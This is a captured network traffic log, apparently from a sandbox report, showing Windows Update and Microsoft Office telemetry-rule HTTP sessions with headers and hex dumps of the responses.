2024-11-20 05:40:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Nyt+PK6Xcd5u4zY&MD=LA1sdeKR HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 05:40:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 903de26c-47ab-47e1-8a8b-ffa5dc76ffa8 MS-RequestId: 19ee13f2-5b5c-48fe-9080-5c3fbc909a4d MS-CV: kds5Uydhh06FBiVv.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 05:40:20 GMT Connection: close Content-Length: 24490
2024-11-20 05:40:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 05:40:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-1777c6cb754b7tdghC1TEBwwa4000000098000000000d9xq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-1777c6cb754gvvgfhC1TEBz4rg0000000990000000005a4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-1777c6cb754rz2pghC1TEBghen0000000920000000009asy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-r1d97b99577hc74hhC1TEBvbns000000087g00000000dh8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-r1d97b99577sdxndhC1TEBec5n00000008gg00000000b7nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:22 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-185f5d8b95cx9g8lhC1NYCtgvc0000000270000000003m84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-185f5d8b95crl6swhC1NYC3ueg00000009ug00000000rycb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-r1d97b99577lxltfhC1TEByw2s00000008kg000000000m83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0bcc5563-701e-0021-03f3-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-185f5d8b95c9mqtvhC1NYCghtc00000009y000000000392k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:22 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 4a7db69e-a01e-0084-45ec-3a9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054022Z-185f5d8b95cjbkr4hC1NYCeu2400000009n000000000c5sa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:23 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
